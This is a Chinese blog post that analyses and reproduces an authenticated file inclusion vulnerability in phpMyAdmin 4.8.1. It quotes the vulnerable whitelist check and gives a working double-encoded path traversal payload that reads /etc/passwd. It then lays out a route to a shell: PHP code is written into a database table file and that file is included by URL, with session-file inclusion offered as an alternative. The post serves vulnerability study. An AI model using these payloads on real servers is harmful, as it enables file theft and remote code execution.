phpmyadmin-4.8.1-复现分析

0x01 phpmyadmin简述

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

0x02 影响版本

  • phpmyadmin 4.8.1

0x03 利用条件

  • 需要登陆

0x04 漏洞分析

这个漏洞是前两天chamd5公布的,然后呢,由于比较忙,第一时间没有看,趁着周末翻翻看看。

漏洞位置

漏洞位置在index.php 55~63行代码。

1
2
3
4
5
6
7
8
9
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}

简单分析一下这段代码。

这里有个if判断,进入到include $_REQUEST['target'];之前需要经过5个判断:

1.$_REQUEST['target']不能为空

2.$_REQUEST['target']为字符串

3.$_REQUEST['target']不能以index开头

4.$_REQUEST['target']不在$target_blacklist数组内

5.需要满足Core::checkPageValidity($_REQUEST['target'])

这里首先我们先看一下第4点$target_blacklist是个什么东西,$target_blacklist在index.php的第50~52行

1
2
3
$target_blacklist = array (
'import.php', 'export.php'
);

所以这里第四点只要满足target 参数不是 import.php 或 export.php 就行。

然后第5点我们说到需要满足Core::checkPageValidity($_REQUEST['target']),这里跟进一下看看checkPageValidity这个函数具体在干嘛。

函数具体位置在libraries\classes\core.php的443~476行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

问题出在了下面这串代码

1
2
3
4
5
6
7
8
9
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

这里会将page参数进行url解码,然后判断是否在$whitelist是的话返回true。

这里可以看看$whitelist有哪些。

1
2
3
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}

跟进$goto_whitelist看到下面这些白名单数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);

漏洞利用

网上给的payload:db_sql.php%253/../../../../../../etc/passwd中的db_sql.php可以用上述的白名单替换从而绕过。

1
2
3
4
5
6
7
8
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

这串主要使用mb_strpos查找?第一次出现的位置,然后通过mb_substr函数第一位的数据,并且赋值给$_page然后与白名单进行比较。

这里有小问题,为什么要针对?进行二次编码。

这里简化一下代码。

1
2
3
4
5
<?php
echo $_REQUEST['target'];
echo '<br>';
include $_REQUEST['target'];
?>

windows下测试

在windows下测试时候发现:

3

php会针对二次编码传入之后的参数,进行一次urldecode操作,然后可以成功包含,但是如果是一次编码,会报错,找不到文件。看一下原因发现target值会被解析成db_sql.php%3f/,然后php会把前面db_sql.php%3f当成目录,所以要多加一个../来跨出目录。

4

mac下测试

我在mac下测试时候,通过网上的方法依然可以包含,但是我发现一个有趣的东西

1

我发现不通过编码的话,依然能够包含文件

1

国外也有个小哥哥发现了这个问题,我想这两个差异应该和操作系统有关系。

10

getshell

chamd5中给的方法是将数据库查询数据写入到文件里。

show variables like ‘datadir‘

5

新建test1表,插入<?php phpinfo()?>

6

最后访问

http://192.168.31.240/phpMyAdmin/index.php?target=db_sql.php%253f/../../../../../../phpStudy/MySQL/data/test/test1.frm

7

还有种简单的办法,包含session文件,php一般会在tmp下生成session 文件。

refer

phpmyadmin4.8.1后台getshell